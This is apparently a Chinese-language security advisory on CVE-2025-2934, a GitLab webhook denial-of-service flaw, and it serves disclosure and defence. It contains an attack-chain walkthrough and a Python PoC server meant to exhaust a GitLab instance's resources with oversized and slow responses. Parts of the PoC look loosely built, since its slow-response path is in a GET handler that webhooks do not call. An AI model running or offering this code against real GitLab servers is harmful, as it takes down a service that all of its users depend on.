IPBUF安全漏洞报告
English
CVE-2025-2934 CVSS 4.3 中危

CVE-2025-2934 GitLab Webhook配置拒绝服务漏洞

披露日期: 2025-10-09

漏洞信息

漏洞编号
CVE-2025-2934
漏洞类型
拒绝服务攻击(DoS)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
GitLab CE/EE

相关标签

拒绝服务DoSGitLabWebhookCVE-2025-2934中危漏洞认证漏洞资源耗尽DevOps安全

漏洞概述

CVE-2025-2934是GitLab社区版(CE)和企业版(EE)中存在的一个拒绝服务(DoS)漏洞。该漏洞影响自5.2版本以来的所有GitLab版本,具体影响范围包括18.2.8之前的18.2.x版本、18.3.4之前的18.3.x版本以及18.4.2之前的18.4.x版本。该漏洞由GitLab安全团队发现并通过HackerOne平台报告(报告编号3058791)。

该漏洞允许经过身份验证的低权限攻击者通过配置恶意的Webhook端点来触发拒绝服务条件。Webhook是GitLab中用于在特定事件发生时向外部URL发送HTTP POST请求的机制,攻击者可以利用这一功能,通过精心构造的HTTP响应来消耗GitLab服务器资源,导致服务不可用。该漏洞的CVSS 3.1评分为4.3分,属于中等严重级别,攻击向量为网络(AV:N),需要低权限认证(PR:L),无需用户交互(UI:N),对机密性影响低(C:L),对完整性无影响(I:N),对可用性影响低(A:L)。

GitLab已于2025年10月8日发布补丁版本(18.4.2、18.3.4和18.2.8)来修复该漏洞。鉴于GitLab在企业DevOps流程中的核心地位,该漏洞可能对依赖GitLab进行代码托管、CI/CD和项目管理的组织造成服务中断风险。

技术细节

GitLab的Webhook功能允许用户在项目或系统级别配置HTTP回调,当特定事件(如代码推送、合并请求、Issue创建等)发生时,GitLab会向预配置的URL发送HTTP POST请求携带事件数据。

该漏洞的核心问题在于GitLab处理Webhook响应时缺乏充分的资源限制和超时控制。当攻击者配置一个恶意的Webhook端点时,该端点可以返回以下类型的恶意响应来触发拒绝服务:

1. **超大响应体**:恶意端点返回包含海量数据的HTTP响应体,迫使GitLab服务器分配大量内存来接收和解析响应数据。

2. **慢速响应(Slow Response)**:恶意端点以极慢的速度发送响应数据,利用HTTP keep-alive连接保持活跃状态,消耗GitLab的连接池资源。

3. **大量重定向**:恶意端点返回大量HTTP重定向(如301/302),迫使GitLab跟随重定向链,消耗网络资源和处理能力。

4. **畸形HTTP响应**:返回格式异常的HTTP响应(如无效的Content-Length、Transfer-Encoding冲突等),导致GitLab的HTTP解析器进入异常状态或无限循环。

由于攻击者只需低权限账户即可配置项目级别的Webhook,且GitLab在处理这些恶意响应时未能实施有效的资源限制(如响应大小限制、连接超时、并发限制等),攻击者可以通过反复触发Webhook事件来持续消耗服务器资源,最终导致GitLab服务不可用,影响所有正常使用该实例的用户。

攻击链分析

STEP 1
步骤1:获取认证账户
攻击者首先需要获取目标GitLab实例的有效认证账户。由于该漏洞仅需要低权限(PR:L),任何具有项目访问权限的普通用户账户即可利用。
STEP 2
步骤2:部署恶意Webhook端点
攻击者在外部服务器上部署一个恶意的HTTP服务,该服务能够返回精心构造的HTTP响应(如超大响应体、慢速响应、畸形响应等),用于消耗GitLab服务器资源。
STEP 3
步骤3:配置恶意Webhook
攻击者登录GitLab,进入项目设置(Project Settings > Webhooks),添加一个新的Webhook,将URL设置为恶意服务器的地址,并选择需要触发的事件类型(如Push事件、合并请求事件等)。
STEP 4
步骤4:触发Webhook事件
攻击者通过执行代码推送、创建合并请求、创建Issue等操作来触发Webhook事件。GitLab会向恶意端点发送HTTP POST请求。
STEP 5
步骤5:恶意响应导致资源耗尽
恶意服务器返回精心构造的HTTP响应(如超大响应体或慢速数据流),由于GitLab在处理Webhook响应时缺乏有效的资源限制和超时控制,导致服务器内存、网络连接等资源被持续消耗。
STEP 6
步骤6:拒绝服务
攻击者通过反复触发Webhook事件,持续消耗GitLab服务器资源,最终导致GitLab服务不可用,影响所有正常使用该实例的用户,实现拒绝服务攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-2934 PoC - GitLab Webhook DoS via Malicious HTTP Response # This PoC demonstrates the concept of exploiting malicious webhook endpoints # to cause denial of service on GitLab CE/EE instances. import http.server import socketserver import threading import time class MaliciousWebhookHandler(http.server.BaseHTTPRequestHandler): """ Malicious webhook server that sends crafted HTTP responses to trigger DoS condition on the target GitLab instance. """ def do_POST(self): # Read the incoming webhook payload from GitLab content_length = int(self.headers.get('Content-Length', 0)) payload = self.rfile.read(content_length) print(f"[*] Received webhook payload: {len(payload)} bytes") # Technique 1: Send oversized response body to exhaust memory self.send_response(200) self.send_header('Content-Type', 'application/json') # Send a very large response (10MB of data) large_body = b'{"data":"' + b'A' * (10 * 1024 * 1024) + b'"}' self.send_header('Content-Length', str(len(large_body))) self.end_headers() self.wfile.write(large_body) def do_GET(self): # Technique 2: Slow response to hold connections self.send_response(200) self.send_header('Content-Type', 'text/plain') self.send_header('Transfer-Encoding', 'chunked') self.end_headers() # Send data very slowly to keep connections alive for i in range(1000): chunk = f"{len(str(i)):x}\r\n{i}\r\n".encode() self.wfile.write(chunk) self.wfile.flush() time.sleep(2) # 2 seconds between chunks def log_message(self, format, *args): # Suppress default logging pass def start_malicious_server(port=8888): """Start the malicious webhook server""" with socketserver.TCPServer(("0.0.0.0", port), MaliciousWebhookHandler) as httpd: print(f"[*] Malicious webhook server listening on port {port}") httpd.serve_forever() if __name__ == "__main__": # Steps to exploit CVE-2025-2934: # 1. Deploy this malicious server on an attacker-controlled host # 2. Login to the target GitLab instance with any authenticated account # 3. Navigate to Project Settings > Webhooks # 4. Add a new webhook pointing to http://attacker-server:8888 # 5. Select events to trigger (e.g., Push events, Merge request events) # 6. Perform actions that trigger webhook events repeatedly # 7. GitLab will send requests to the malicious server, which responds # with crafted responses causing resource exhaustion start_malicious_server()

影响范围

GitLab CE/EE >= 5.2, < 18.2.8
GitLab CE/EE 18.3.0, < 18.3.4
GitLab CE/EE 18.4.0, < 18.4.2

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)限制能够配置Webhook的用户权限,仅允许管理员配置Webhook;2)在反向代理或Web服务器层面配置对GitLab出站请求的响应大小限制(如限制为1MB)和超时时间(如30秒);3)实施Webhook URL白名单,仅允许配置内部可信的端点;4)监控GitLab服务器的内存和网络连接使用情况,及时发现异常;5)定期审查项目Webhook配置,移除可疑的外部端点。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表